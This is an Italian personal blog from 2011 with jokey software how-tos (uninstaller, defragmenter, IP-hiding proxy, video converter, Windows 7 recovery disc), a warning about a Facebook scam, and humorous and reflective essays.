mercoledì 30 marzo 2011

Disinstallare programmi definitivamente

Oggi e' scaduto un programma trial, quindi ho tolto il programma coi dovuti crismi soliti e poi sono andato nel registro di sistema e che ti trvo? Le classiche tracce che rimangono a testimonio del programma che tu pensi di avere tolto, quindi ho tolto manualmente il tutto e mi son chiesto se esiste un programma che tolga definitivamente i programmi cosidetti gratuiti a tempo e ne ho provati alcuni..nada, zero di negativo, nessuno disinstalla completamente e le tracce rimangono.. ormai rassegnato a togliere manualmente sempre i cosidetti trial, che ti vedo? Qualcuno che hab fatto quello che ho fatto io e che si e' messo a provare dsinstallatori ovviamente gratuiti e ne ha cuccato uno che a suo dire funge alla perfezione,,lo provo e azz..veramente pulisce tutto senza trascinarsi dietro delle DLL..quindi posto la mia ricerca per Disinstallare Definitivamente quello che ci sta sulle palle percheì vuole pecunia per continuare ad esistere,, Collegati al sito Internet di Revo Uninstaller e clicca sul  DOWNLOAD in fondo pagina, nella colonna sotto la scritta Freeware, scarica il programma sul tuo PC. A download ultimato apri, il file appena scaricato (revosetup.exe) e, nella finestra che si apre, fai click prima su OK per confermare l’utilizzo della lingua italiana se sei italico della lega e poi su Avanti.
Accetta le solite frignacciate col la flag o segno di spunta accanto alla voce Accetto le condizioni della licenza, e fai click (click e non clack..solo click..ecco bravo) prima su Avanti e poi su Installa e Fine per terminare il processo d’installazione e adesso avvia Revo Uninstaller.
Ora che hai installato il tuo figoso programma per disinstallare programmi completamente, puoi iniziare a toglierti dal culo i software che ti stanno sulle palle col doppio click sull’icona del programma da disinstallare nella finestra principale di Revo Uninstaller e clicca sul pulsante Si/Yes/Da/Oui. Nella finestra che si apre, metti il segno di spunto accanto alla voce Moderata e clicka (la k ci vuole perche' e' piu' incisiva) su Avanti per cancellare il programma a fondo in maniera totalmente sicura, fidati, parola di lupetto a dita incrociate lo giuro.
Completa quindi la normale procedura di disinstallazione del software selezionato (basta fare click sempre su Avanti) e, a operazione completata, clicca sul pulsante Avanti nella finestra principale di Revo Uninstaller per due volte consecutive per trovare le tracce residue lasciate dal software disinstallato nel registro di Windows. Metti quindi il segno di spunta accanto a tutte le icone dei pezzi di puzzle blu e clicca prima su Cancella e poi su Si per cancellarle tutte.
A questo punto prendi fiato, clicka sul pulsante Avanti per permettere al tuo nuovo programma per disinstallare programmi completamente di rilevare anche le tracce residue lasciate dal software appena disinstallato sul disco fisso del PC. Ed ecco apparire una lista di file che potrai cancellare facilmente cliccando prima su Seleziona tutti e poi su Cancella e Si.
Completato anche quest’ultimo passaggio, puoi terminarel’esecuzione di Revo Uninstaller clickando prima sul pulsante Avanti e poi su Terminato. Finalmente hai tolto e pulito definitivamente il programma e tutte le tracce che se permetti, un programmatore che si vede cancellato un suo prodotto, lasciagli almeno la soddisfazione di capire se tu tenti di installarlo una seconda volta gratis per il periodo iniziale elargitoti e dagli la possibilita' di mangiare facendoti strapagare il programma. Questo programma e' gratuito a questa data e non e' detto che se magari leggi il post tra qualche tempo non diventi trial, a tuttoggi e' gratis e se ti chiedera' in futuro la Key..mmm leggi uno dei miei post in proposito fatti a livello studio ovviamente ma di fronte a un qualcunoi che ti dice questo e' gratis e poi cambia idea..se l'e' cercato no?

martedì 29 marzo 2011

Defrag velocissimo e free.

Mettetelo in memoria
Voi sapete che dopo un certo periodo il vostro PC rallenta di brutto ..vero? E' stramaledettamente anche noto che i frammenti del disco sono una delle cause principali che rendono il PC oltre che lento..pure instabile al punto di rompimento massimo, grazie ai film scaricati e grazie agli amici di chat che inconsapevolmente (spero) vi hanno infilato o spostato delle dll.. Al fine di sistemare un poco le vostre librerie e fare dell'ordine, avevo postato lo Smart Defrag, uno strumento free adatto alla deframmentazione del disco rigido in maniera estremamente semplice, veloce e godereccia e dato che si e' persa la traccia del post o quantomeno l'ho persa io in occasione di defrag, riposto il link. La scansione e l’operazione di defrag avviene in maniera intelligente. Come beneficio, c’è una maggiore velocita' del computer (anche durante la fase di avvio) e alte prestazioni del disco.

Da un paio di giorni pero' la IObit ha rilasciato la seconda versione di questo programma. Smart Defrag 2 che e' strafiga e si avvale di una nuova interfaccia grafica, di numerose funzionalita' non presenti nella prima versione di cui sopra e di una particolare feature denominata “install it and forget it” che permette a Smart Defrag 2 di funzionare automaticamente e silenziosamente in background sul vostro PC.
Figata vero? e vediamo di analizzare tutte le caratteristiche presenti in Smart Defrag 2. Allora..
Deframmentazione estremamente veloce ed efficiente – grazie alla presenza della tecnologia Boot Time Defrag, Smart Defrag 2 non solo e' molto rapido nella deframmentazione ma fa uso delle migliori tecniche. Progettato per i PC moderni, datati e su dischi di piccole e grandi dimensioni.
Progettato per il top delle prestazioni dei dischi – non si limita a fornire una deframmentazione semplice. Opera anche sul file system, colloca i file e le directory utilizzate frequentemente, permettendo al PC di velocizzarsi e rendersi ancora piu' stabile.
Tecnologia Boot Time Defrag – deframmenta i file durante il processo di avvio del sistema.
E' Garantita la sicurezza dei dati e la stabilita' del disco – a differenza di altri software di deframmentazione “automatici”, Smart Defrag 2 non effettua analisi e deframmentazione che potrebbe danneggiare il disco rigido riducendone la durata. Grazie alla presenza della tecnologia Safe Intelligence, il programma e' in grado salvaguardare e assicurare la salute del disco e decidere quando e come eseguire la deframmentazione.
Estremamente facile da usare – Smart Defrag 2 ha assunto un nuovo look. Intuitivo e semplice da navigare ed utilizzare, la nuova interfaccia grafica e' senza ombra di dubbio ultrafigoso e professionale.
Per concludere lo Smart Defrag 2 e' molto potente tipo redbull, completamente free, sicuro al 100% senza adware, spyware o virus. Compatibile con tutti i sistemi operativi Windows a 32 e 64 bit.
Il download, l’utilizzo e gli aggiornamenti sono del tutto gratuiti.

lunedì 28 marzo 2011

Truffa su Facebook

La maggior parte delle truffe si concentra nei weekend, oggi e' toccato al Facebook. Sono oltre 100’000 gli incastrati e sta esponenzialmente dilagando.. la castigata consiste in un messaggio presente sulla bacheca di determinati profili con scritto:
“Scontri a Piazza del Popolo video amatoriale che riprende un ragazzo mentre tira dei San Pietrini alla Polizia. DICIAMO BASTA A QUESTE VIOLENZE
“.
Il link lascia intendere che, cliccandolo, si riesca a visualizzare il video incriminato, pero' non e' cosi'. Infatti, cercando di visualizzare il filmato, si favorisce la diffusione di questa truffa informatica.
Prima di riuscire, idealmente, a caricarlo, l’utente con le ultime modifiche e' “obbligato” a cliccare “mi piace” e a condividerlo sulla propria bacheca con il presupposto che successivamente potra' vedere il video.
Se invece il pollo che essendo furrrbo decidesse di rifiutare tali proposte, verrebbe reindirizzato ad una pagina contenente un’altra cannata informatica, ovvero un sondaggio riguardante un abbonamento a pagamento via SMS su dispositivi mobile.

Arrivati a questo punto non si ha compromesso nulla, ma il danno e' ormai stato fatto, sul profilo cominceranno ad essere visualizzati messaggi del tipo:
Facebook e' in sovraccarico, conferma subito il tuo account per non essere cancellato” oppure ” oggi e' l’ultimo giorno per confermare l’account, altrimenti verra' cancellato domani. Vedi videata..

L’unica soluzione per tentare di evitare questi problemi, e' anticiparli. E’ infatti possibile disabilitare Javascript nel vostro browser, utilizzando ad esempio il plugin Noscript per Firefox. Comunque e' possibile ottenere un risultato molto simile anche senza l’utilizzo dell’add-on, tuttavia non sarebbe possibile scegliere il sito sul quale disattivare Javascript.
Facebook, dal canto suo, non puo' fare veramente molto anzi dico che fa' veramente poco.. con i circa 500milioni di account e' un obiettivo godereccio per itruffatori che a volte sparano sulla croce rossa. Quindi fate attenzione a cosa cliccate, ricordate che di solito annega chi sa nuotare e non pensate di essere furbi..c'e' chi lo e' piu' di voi..

venerdì 25 marzo 2011

Il Grillo Sparlante



E poi dite del togolese carliano che a volte non si capisce, i neologismi miei che non fastidiano neppure le vulvivendole che lavorano nei loro chiavisteri, sono comprensibili meglio delle parole inventate del foscatz marainesco, ad es. prendo” il giorno ad urlapicchio”:
Ci sono giorni smegi e lombidiosi
col cielo dagro e un fonzero gongruto
ci son meriggi gnalidi e budriosi
che plogidan sul mondo infragelluto,
ma oggi e’ un giorno a zimpagi e zirlecchi
un giorno tutto gnacchi e timparlini,
le nuvole buzzillano, i bernecchi
luderchiano coi fernagi tra i pini;
e’ un giorno per le va’nvere, un festicchio
un giorno carmidioso e prodigiero,
e’ il giorno a cantilegi, ad urlapicchio
in cui m’hai detto “t’amo per davvero”.
Certo che dissertare sullo scritto e’ duopo e del resto se non sono matti non li vogliamo vero, cerco di dare una spiegazione estrapolandola dallo scritto di cui sopra..
ma oggi e’ un giorno a zimpagi e zirlecchi
un giorno tutto gnacchi e timparlini,”
Zimpagi e zirlecchi, zac, zac, qualcosa di scattante, frizzante che pervade un tutto: spinte, balzi, saltelli; e poi “un giorno tutto gnacchi e timparlini”. Tlin, tlin, ascoltate? sembra quasi di sentirli suonare i timparlini. Questi sono termini mutuati dalle antiche lingue nordiche: gnakken und timparlinen che ancora oggi in Germania definiscono i ciondoli e i campanelli utilizzati nei riti che riprendono le antiche tradizioni celtiche sulla fecondita’..
“le nuvole buzzillano, i bernecchi
luderchiano coi fernagi tra i pini”
In primavera, quandoe’ sereno e non c’e’ vento e la temperatura e’ tra i diciotto e i ventidue gradi, le nuvole buzzillano, cioe’ assumono quel bell’aspetto rigonfio e pacioccone che le fa sembrare di soffice panna. La natura e’ talmente euforica che i bernecchi, piccoli passeracei frenetici dal becco rostrato e dal tipico verso acuto ed un po’ rompicoglioni, insieme ai fernagi, grossi pettirossi molto riflessivi, ma poco decisionisti, luderchiano tra i pini. E qui e’ facile, basta fare riferimento alla radice: lud- dal latino ludum, cioe’gioco. E’ un momento talmente particolare che specie diversissime tra loro interagiscono amabilmente.
In questa seconda quartina, il poeta ribalta l’immagine precedente. Mentre prima si assisteva ad un momento di tedio generalizzato, qui tutto e’ attivo, la natura e lo spirito. E si prosegue
“e’ un giorno per le vanvere, un festicchio
un giorno carmidioso e prodigiero”
E’ un giorno talmente splendente che non si puo’ prendere nulla sul serio, bisogna agire senza riflettere, cosi’ come ci detta il momento: un giorno per le vanvere, appunto. Ma non e’ una festa comandata imposta da norme civili o religiose, e’ un giorno festivo intimo, privato e definirlo solennemente festa sembra troppo quindi un festicchio.
Che si intende un poco di meteorologia sa che i giorni si dividono in carmidiosi, cioe’ che iniziano con il sole e terminano con le nuvole ed in prodigieri, che al contrario iniziano con le nuvole per poi rasserenarsi. Il giorno descritto e’ un giorno carmidioso, che inizia con il sereno, ma al momento dell’arrivo delle nuvole la natura non ci sta, non vuole perdere un’occasione a volte molto rara di gaiezza quindi il giorno diventa prodigiero ed il sole rimane continuando a dare il suo contributo al festicchio.
“e’ il giorno a cantilegi, ad urlapicchio
in cui m’hai detto “t’amo per davvero””
Urlapicchio. E’ difficile darne una definizione. E’ il giorno in cui le nuvole buzzillano, i bernecchi luderchiano coi fernagi, quando c’e’ il sole perche’ tutto e’ carmidioso e prodigiero.
Ed alla fine la spiegazione di ogni cosa. Cio’ che permette di trasformare una giornata insignificante ed un uggiosa in un’esplosione di gioia incontenibile, cio’ che e’ in grado di rovesciare gli stati d’animo ed addirittura la natura che ci circonda ed il mondo.
Oggi il giorno si e’ trasformato perche’ lei ti ha detto “t’amo per davvero”.
Ho ora conferito un senso ai suoni e li ho contestualizzati dando un significato alla pesudo-poesia sulla base dell’esperienza e delle sensazioni.

mercoledì 23 marzo 2011

Cd ripristino x Windows 7

Solita cannata, avete preso un notebook e ovviamente nessun disco operativo nelle confezioni. Nessuno vi avvisa che dovete fare un disco di ripristino in caso di errori e quindi nel caso di Windows 7 ve lo fate da soli e stop. Ite nel Panello di Controllo->Sistema e Sicurezza->Esegui Backup del Computer e selezionate sulla sinistra Crea un disco di ripristino del sistema.
A questo punto si apre la seguente maschera che invita ad inserire nel masterizzatore un CD o un DVD


Al termine della procedura ecco il disco di ripristino bootabile.

Cambia il tuo IP

Cosi' come un indirizzo stradale o un numero telefonico identificano rispettivamente un edificio o un telefono, un indirizzo IP identifica univocamente uno specifico computer o un altro dispositivo all'interno di una rete. Questo significa che e' impossibile navigare anonimi su Internet senza essere hacker o mega-esperti di informatica? Assolutamente no.
EasyHideIP e' un programma per navigare anonimi su Internet che permette di utilizzare un indirizzo IP straniero fittizio in Internet Explorer in maniera incredibilmente semplice e veloce. E' disponibile in una versione gratuita che permette di utilizzare un unico indirizzo IP alternativo. Ecco come funGE. Collegati a questa pagina del sito Internet CNET e clicca sulla voce Download Now per scaricare il programma sul tuo PC. A download completato apri l’archivio appena scaricato (easyhideip.zip) ed avvia il programma setup.exe.
Nella finestra che appare, clicca prima su Next per quattro volte consecutive e poi su Install e Finish per terminare il processo d’installazione di EasyHideIP. Togli il segno di spunta dalla voce Install AutoComplete Pro per non installare i soliti extra software aggiuntivi sul PC.
Adesso che hai installato il tuo nuovo programma per navigare anonimi su Internet sul PC, avvia EasyHideIP tramite la sua icona presente nel menu Start > Tutti i programmi > EasyHideIP and Surf Anonymously. Nella finestra che si apre, clicca sul pulsante Search Proxy List per avviare la ricerca di nuovi server utilizzabili per la navigazione anonima.
A ricerca ultimata, scegli dal menu a tendina collocato in alto a sinistra un server che non abbia la dicitura RESERVED o For Registered UserHide Your IP per abilitare la modalità di navigazione anonima. (quelli sono solo per gli utenti della versione a pagamento del programma e  a noi sta cposa sta molto stretta) e clicca sul pulsante
A questo punto, clicca sul pulsante Setup IE Browser e seleziona il file iexplore.exe contenuto in C:ProgrammiInternet Explorer per suggerire al tuo nuovo programma per navigare anonimi su Internet la cartella in cui risiede Internet Explorer e seleziona la voce What Is My IP? dal menu Tools per avviare Internet Explorer in modalità di navigazione anonima.
Nel giro di poco nulla di tempo sara' caricata una nuova pagina Web con scritto l’indirizzo IP che ti e' stato assegnato, un indirizzo straniero (es. americano o australiano che e' meglio) che ti fara' risultare anonimo in Rete. Bon..finito caro anonimo.

venerdì 18 marzo 2011

Ken 50 ma non li dimostra


ken_thumb[8].jpg
Ken compie 50 anni. E per festeggiare la Mattel che versione avra’ messo in commercio? Un Ken con la chierica? Un Ken che si misura la pressione? Un pupazzo con l'ernia espulsa? No signore.. La Mattel ci invoglia ad acquistare sto pupazzetto gommoso che sembra Alessio Vinci di Matrix perche’ ha una nuova particolarita’.. un pulsante sulla schiena che se lo schiacci… dice «Ti amo». Si’. Ripete una scarambola di «Ti amo» per 5 secondi consecutivi. Mi scusino quelli della Mattel, ma la vera idea sarebbe stata un'altra. Per festeggiare davvero i 50 anni di Ken,non potevano mettergli finalmente il walter, invece che quell' accenno di plumcakeche cosi’ dopo mezzo secolo di mutilazione forzata almeno poteva sentirsi finalmente un maschio? Io lo trovo meraviglioso. Io lo metterei anche ai maschi veri un pulsante tra le scapole. Cosi’, almeno, quando vi va il sofficino per traverso e ci tocca scardinarvi la schiena a manate, ne abbiamo un tornaconto. Perche’ i maschi non sanno cosa sia il romanticismo. Sono romantici come rospi del pantano. Le femminucce hanno bisogno di coccole verbali.
Vabbe’ cerchiamo «qualcosa che faccia spuntare ali di rondine dietro la schiena…» come canta Jovanotti… Le girls hanno bisogno che il loro marajà  dica delle robe… Ma non tipo.. Non vado in bagno devo provare col bifidus regularis della Marcuzzi… parole d'amore, dannazione. I maschietti sono empatici come le lontre impagliate, come quei dalmata di porcellana che troneggiano nei salotti borghesi. Se guardi insieme al tuo lui un tramonto appoggiati alla ringhiera, il massimo che ti puoi aspettare e’ una mano sul culo. E non e’ tenerezza che ha sbagliato bersaglio, perche’ se gliela lasci piu’ di dieci secondi dal culo passa a tutti gli obiettivi sensibili che ci sono in zona. Uno per uno. A cercare il tasto che fa partire il chupa. La delicatezza il maschio non sa neanche dove stia di casa. Se sei davanti allo specchio a metterti gli orecchini e lui deve lavarsi le mani non chiede, permesso, ti eietta con un colpo di culo. Se ti fa una carezza non dico di amore ma di compagnia, rischia di riaprirti la fontanella. Quelle carezze premute che ti escono fin gli occhi dalla capa. Come quelle che fai al gatto che sembra tu lo stia passando nei rulli della pastamatic. Che diventa lungo un metro e mezzo mmm.. come la pasta degli agnolotti… Se sei di vertebra che scricchiola, scoppietti come un caminetto. Oppure ti bacia sulla fronte. Come si fa coi moribondi e poi dice che per lui e’ il massimo dell'amore. Verme. Diciamo che rispetto all'eta’ della pietra, la moda di trascinarti per i capelli e’ solo un po' svaporata perche’ tante hanno il taglio corto, solo per quello. Senza contare che nel sonno ti tira gomitate da wrestling. Ti svegli col setto nasale diritto solo perche’ la seconda gomitata ti raddrizza il danno della prima. La riflessione ti porta a dire ..Dio del cielo signore delle cime—perche’ li hai fatti cosi’? Non potevi fare una femmina solo un po' piu’ ruvida e col piolo sul davanti? Invece no. Hai fatto l'uomo che quando si fa la barba canta come un’orca che ha inghiottito Albano. Se ha la barba di due giorni ci gratti il parmigiano, e se ce l'ha lunga volge allo scimmioide, come Dalla. Ma capisci che gerla che ti tocca portare? Quando andrai in Paradiso cerco il Capo e chiedigli spiegazioni.


OPERA DEGRADATA – NESSUN DIRITTO
Come da Consulente Legale Informatico dell’Avv. Valentina Freudiani
LUCIANA LITTIZZETTO

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giovedì 17 marzo 2011

Convertire Filmati

Ho notato che avete scaricato perfettamente e velocemente filmati da mIRCxdccMule ma non siete riusciti a vederne alcuni sia sul PC che sul DVD èerche' il formato era strano quindi oggi mi metto un  programma per convertire video gratis in Italiano. si tratta di Format Factory.
Bueno..collegatevi al sito Internet di Format Factory , cliccate prima sul pulsante blu Download softonic.com (collocato in alto a destra) e poi sulla voce Download per scaricare il programma  PC. A download ultimato aprite il file (FormatFactorySetup-260.exe) e, nella finestra che appare, cliccate prima su Install e poi su Finish per completare il processo d’installazione e avviate Format Factory.
Togliete il segno di spunta dalla voce Installa la Toolbar Softonic e cliccate su Continua nella finestra che si apre per non installare toolbar aggiuntive per il browser perche' proprio non ce ne frega na mazza.
Usare questo programma per convertire video gratis in Italiano e' come sparare sulla croce rossa. Non dovete far altro che selezionare il formato di file in cui desiderate convertire il vostro video (es. AVI, MP4, RMVB, ecc.) dalla barra laterale che si trova sulla sinistra e, nella finestra che si apre, cliccate prima su Aggiungi file e poi su OK per selezionare il video (o i video) che desiderate trasformare in un altro formato.
Quando siete pronti ad avviare la conversione del vostro filmato, cliccate sul pulsante Vai collocato nella barra degli strumenti di Format Factory e attendete che il programma finisca il processo di trasformazione (la cui durata dipende dalla durata del filmato e dalla potenza del PC). Potete trovare il video convertito nella cartella accessibile cliccando sul pulsante Cartella di destinazione.
Ovvio che potete anche cambiare la cartella di destinazione usata dal vostro nuovo programma per convertire video gratis in Italiano per salvare i filmati, cliccando prima sul pulsante Opzioni collocato nella barra degli strumenti di Format Factory e poi su Modifica, e abilitare lo spegnimento automatico del PC al termine della conversione, mettendo il segno di spunta accanto alla voce Spegni computer.

Riflessioni


RIFLESSIONI su verita’, stile, mente, vita, azioni e quiete con la premessa o prefazione e dato che piove saro’ logorroico e anche stitico..


Premessa: Mi auguro abbiate interesse piu’ per la pianta che per i rami, i fiori e le foglie che rappresentano visivamente le sue parti decorative.



Il modo di esprimersi non si sviluppa coltivando uno stile di vita, e’ lo stile che fa parte del modo di far capire cio’ che pensi..nel senso che l’espressione minore e’ contenuta in quella maggiore, mentre quella maggiore non e’ presente in quella minore e quindi non avendo uno stile non significa essere privi dello stesso, l’assenza dello stile e’ una conseguenza della presenza di stile, percio’ e’ superiore ed e’ l’espressione individuale, l’assenza di cultura non significa mancanza di qualsiasi tipo di cultura e acquisire una cultura attraverso la non cultura intenzionale significa agire consapevolmente e agire positivamente.

Quanto sopra evidenzia che cercare qualcosa in piu’..qualcosa di diverso senza sapere la verita’ e la Via… sono nella vita di ogni giorno e qui e’ facile sbagliare e cioe’ la ricerca di un segreto, ricercata dove lui non c’e’. Per cambiare o per diventare un’altra cosa, dobbiamo quindi sapere esattamente chi siamo cosa siamo e cosa vogliamo essere.. la verita’ e’ un errore che ci siamo portati dietro nei secoli e non tutti saranno d’accordo ovviamente. Essa e’ diventata una legge, anzi..un credo e pone ostacoli sulla via della conoscenza. Il metodo che e’ sostanzialmente ignoranza, chiude la verita’ in un circolo vizioso. Dobbiamo spezzare questo circolo, non cercando la verita’’ ma scoprendo la causa  dell’ignoranza, ecco perche’ io considero la verita’ parzialmente e non come dovrebbe essere interpretata ed e’ dovuta alla memoria e l’anticipazione  (la capacita’ di tempestiva individuazione) che sono facolta’ superiori della coscienza ..queste distinguono la mente umana da quella degli animali inferiori essendo noi animali superiori (almeno.. io) e non per modestia ma avete mai visto un asino fare uno scritto come questo? (grazie del paragone di risposta senza offesa all’asino paragonato a me). Penso che le azioni sono in diretto rapporto col problema della vita e della morte, affinche’ il pensiero  possa uscire liberamente e affinche’ l’azione possa essere fulminea, bisogna rinunciare ad esse (riferito alle azione e non alla vita o alla morte).

L’azione non e’ legata alla qualita’, negativa o positiva..il torto e la ragione, il vero o il falso esistono solo quando l’azione e’ parziale.  Quindi occorre arrestare il pensiero senza arrestarlo, rispettare le tecniche senza rispettarle, e soprattutto agire con indifferenza e naturalezza. Occorre usare l’arte come mezzo per avanzare nello studio della Via considerato che la nostra mente e’ dotata di un moto infinito e istantaneo che non conosce ostacoli. Passo dal singolare al plurale come se stessi parlando o scrivendo a una o piu’ persone e a volte indirizzo il dito a una persona singola.. fa’ che i tuoi strumenti vedano. Tutti i movimenti provengono dal vuoto e Mente e’ il nome che si da a questo aspetto dinamico del vuoto. Esso e’ diretto senza motivazioni egocentristiche. Il vuoto e’ sincerita’, genuinita’ e immediatezza, sicche’ nella mente nulla puo’ inserirsi fra l’Io e i suoi movimenti. Quando la mente e’ fluida e’ insieme mobile ed immobile..un poco come la luna che si rispecchia nel fiume, l’acqua si muove di continuo mentre la luna conserva la sua immagine del momento o serenita’.. La mente si muove rispondendo a diecimila situazioni ma rimanendo sempre la stessa. La quiete non e’ vera quiete, solo quando si ha quiete nel movimento il ritmo universale esce allo scoperto e si manifesta. Cambiare nel cambiamento equivale a rimanere immutati. Il nulla puo’ essere delimitato e l’oggetto molle non puo’ essere afferrato e non pensate male ma pensatelo, insomma si puo’ anche prendere ma si impugna male ma il riferimento era ad altre cose e situazioni. Ricordatevi o ricordati che la ruota gira quando non e’ troppo aderente al suo asse..quando la mente e’ costretta e’ inibita e non fa nulla di spontaneo, lavorera’ male o non portera’ a termine il suo lavoro quindi e’ opportuno oliare o ingrassare l’asse della ruota e mantenerlo con dimensioni di scorrimento che non surriscaldino e blocchino il movimento.

Concludo questo scritto fatto in riempitivo di una giornata di pioggia e la pioggia blocca un poco tutti i ritmi e fa scaturire queste elucubrazioni tipiche di chi pensa di saper ragionare e che se poi rilegge quanto ha scritto ovviamente delettera’ il tutto ed e’ cio’ che faro’ forse io o forse no.. in quasi tutti noi si nasconde il prepotente bisogno di considerarci strumenti nelle mani degli altri, cosi’ ci liberiamo nella responsabilita’ di atti da noi fatti sotto discutibili nostre tendenze. Ci si aggrappa a questo alibi sia che si e’ forte oppure anche debole..chi e’ debole nasconde le azioni malfatte motivandole alla virtu’ dell’obbedienza..e anche chi e’ forte vuole un’assoluzione anzi la esige in quanto si proclama strumento di un’entita’ superiore chamata Dio, storia, nazione, religione umanita’ o quant’altro.. Insomma noi crediamo piu’ nelle cose che imitiamo che in quelle che creiamo, le cose che hanno radici in noi non ci ispirano la stessa fiducia e non ci danno la stessa assoluta sicurezza..l’insicurezza deriva dalla solitudine e quando imitiamo..non siamo mai soli ed e’ cosi’ per la maggior parte di noi, noi siamo cio’ che gli altri dicono che siamo e ci conosciamo per sentito dire..per poter cambiare, per diventare diversi, dobbiamo prima sapere chi e cosa siamo..se non ci conosciamo non possiamo verificare se il cambiamento sara’ vero o falso..una cosa cmq e’ certa..hanno minore coscienza di se’ quelli che non sono soddisfatti di se stessi quelli che vogliono acquisire un’altra identita’ e trovatemi uno che non vorrebbe cambiarsi identita’. Chi vuole cambiarsi rinnega il proprio ego non-desiderato e percio’ non lo ha completamente esaminato e ne deriva che le persone insoddisfatte non riescono ne’ a simulare ne a raggiungere un vero cambiamento..sono trasparenti e le loro rinnegate o non desiderate caratteristiche rimangono nonostante i tentativi di auto trasformazione rendendo evidente la scarsa conoscenza di loro stessi che devono appoggiarsi a esperti o pseudo tali del settore che finiranno con rovinare la loro identita’ senza risolvere il problema..

L’anima che conosce se stessa e’ quindi opaca e non trasparente e la paura nasce dall’insicurezza..quando siamo assolutamente sicuri di qualcosa, di valere o anche di non valere..non abbiamo paura..quindi anche la sicurezza di non valere e’ fonte di coraggio e la reputo positiva..quando siamo assolutamente disperati o assolutamente potenti ci sembrera’ possibile tutto..entrambi questi stati d’animo ci rendono fiduciosi..

Dimenticavo una componente mia..l’orgoglio..cerco di capirla questa situazione o sensazione di valore che deriva da qualcosa che non e’ organicamente parte di noi, mentre il rispetto di noi stessi deriva dalle potenzialita’ e dalle conquiste dell’Io. Noi siamo orgogliosi quando ci immaginiamo o ci identifichiamo in un immaginario Capo, una giusta causa, una comunita’ o una proprieta’ comune.. Nell’orgoglio c’e’ timore e anche intolleranza, l’orgoglioso e’ sia invulnerabile che intransigente.. Minori sono le potenzialita’ e le possibilita’ dell’Io e piu’ imperativo e’ il bisogno di orgoglio, in pratica e’ un rifiuto a noi stessi e ci facciamo del male consapevolmente ma a volte l’orgoglio puo’ anche scatenare energie e fingere da mezzo per il conseguimento di vittoria e non dimentichiamo che la vittoria nostra potrebbe essere sconfitta della parte opporta ma c’e’ chi come me l’orgoglio lo puo’ portere alla riconciliazione col mio Io e alla conquista del rispetto per me stesso.. Anche il riserbo pero’ potrebbe essere fonte di orgoglio e considero che il riserbo ha la stessa funzione dell’improntitudine..tutte due producono idee sbagliate. L’improntitudine da’ origine ad un Io immagirio, il riserbo ci fa credere di essere principi sotto mentite spoglie..dei due, il piu’ difficile e il piu’ efficace e’ il riserbo anche se si e’ tacciati di puzza sotto il naso..L’improntitudine in realta’ da luogo a disprezzo di se stessi..tuttavia prendo una frase di Spinoza che cita ..per l’uomo niente e’ piu’ difficile che tenere a freno la propria lingua ..gli e’ piu’ facile tenere a freno i desideri che le parole..Pero’ l’umilta’ secondo me e’ falso orgoglio, quindi non sono per nulla umile.. Io considero che una persona lasciata a se stessa se ha la liberta’ della sua impotenza, quando deve giustificare la sua esistenza con le proprie forze, mette in moto un procedimento distruttivo in quanto nello sforzo di realizzarsi e di dimostrare il suo valore non ce la fara’  e non riuscira’ a giustificare la sua esistenza e la sua realizzazione diventando cosi’ frustrato e percio’ l’individuo autonomo e’ stabile solo e finche’ ha rispetto di se stesso ed e’ un compito che impegna tutte le sue forze e tutte le sue risorse interiori..lui deve dimostrare di valere e deve giustificare la sua esistenza ogni giorno e quando per qualche ragione non riuscira’ a rispettare se stesso, l’individuo autonomo diventa un’entita’ altamente esplosiva..si allontana dal proprio Io non efficiente e si accanisce nella ricerca dell’orgoglio, e percio’ tutti gli sconvolgimenti sociali a qualsiasi livello hanno radici nella crisi di auto sfiducia e nello sforzo che le grandi masse si riuniscono in una ricerca di orgoglio..la via piu’ difficile e’ quella dell’autorealizzazione e la imbocchiamo solo quando le altre strade che portano alla conquista della certezza sono sbarrate occorre quindi talento e gli uomini di talento vanno incoraggiati e spronati nell’intraprendere un’attivita’ creativa..la strada maestra quindi e’ l’azione, ovvero la via che porta alla conquista della fiducia in se stessi e della stima di se stessi soprattutto..il talento si crea le occasioni da se’ e talvolta tuttavia il desiderio intenso sembra creare non solo le occasioni ma il talento stesso e desiderare ardentemente una cosa non significa sempre desiderare proprio quella cosa o avere un aparticolare inclinazione per la stessa..spesso la cosa che vogliamo con tutte le nostre forze sostituisce una cosa che vogliamo veramente e che non possiamo avere..talvolta l’esaurimento di un desiderio a lungo accarezzato non appaga l’ansia che ci tormenta. E in ogni ardente desiderio conta di piu’ il desiderio della cosa desiderata..la nostra sensazione di potenza e’ maggiore quando riusciamo a piegare la volonta’ di una persona che quando riusciamo a conquistare il suo cuore, perche’ il suo cuore un giorno possiamo possederlo e il giorno dopo magari perderlo, mentre quando pieghiamo uno spirito fiero ne diventiamo effettivamente i padroni assoluti.. in mezzo a tutte queste elucubrazioni non dimentichiamo la tolleranza..quella naturale, istintiva quella che probabilmente non esiste..la tolleranza richiede uno sforzo mentale e autocontrollo..anche le buone azioni raramente vengono fatte d’impulso, senza pensare..a non nel mio caso e non riesco capire se e’ solo nel mio caso sommato ad incoscienza dove prevale prepotentemente la soluzione di una richiesta di aiuto sulle conseguenze che possono poi concretizzarsi e sinora e’ andata bene e non cambiero’ di certo il mio modo di fare..non ne ho piu’ il tempo..ora ha smesso di piovere e smetto di pensare e mi preparo per la notte bianca.. in bianco.

(miiii arrivato sino in fondo?..togliete la bottiglia)..

martedì 15 marzo 2011

Camaleonti Patologici





Attenzione. Da scienziato esperto in pirla, essendo tale, ho isolato una nuova categoria di esseri umani. Non contagiosi ma abbastanza impestati. I cangianti. I camaleonti patologici. Quelli che oggi sono in un modo e domani tutto il contrario. Appena li sniffo cerco di stare abbottonato e con la schiena verso il muro, senza mai abbassarmi a raccogliere qualcosa da terra per la serie ..a prenderlo nel culo c’e’ sempre tempo, e voi sapete che la vita e’ questione di culo….o ce l’hai..o te lo fanno. In natura  troviamo due sottospecie di Camaleonti. Partiamo con La Prima che e’ costituita da quelli che al primo incontro con un simile, rimangono regolarmente folgorati o folgorate. Mettiamola al femminile che dicono.. Sai che ho conosciuto tizio? Simpaticissimo. Una bellissima persona. Tra l’altro anche troppo fighissimo, somiglia a Clark Kent prima di trasformarsi in Superman, poi geniale, conosce tutte le capitali d’Europa a memoria, si ricorda dei compleanni, sa dove sono riposte le mutande di ricambio, mette le calze appaiate dello stesso colore.. quasi quasi lo iscrivo alla trasmissione del Milionario quella del Jerry Scottato… A questo punto tu pensi… azz.., questi due diventeranno amici per la pelle. Ed e’ li’ che ti sbagli e pisci fuori dal vaso. Dagli tempo.. max due settimane. E poi chiedi alla cangiante come va col nuovo amico. Lei ti rispondera’ piu’ o meno 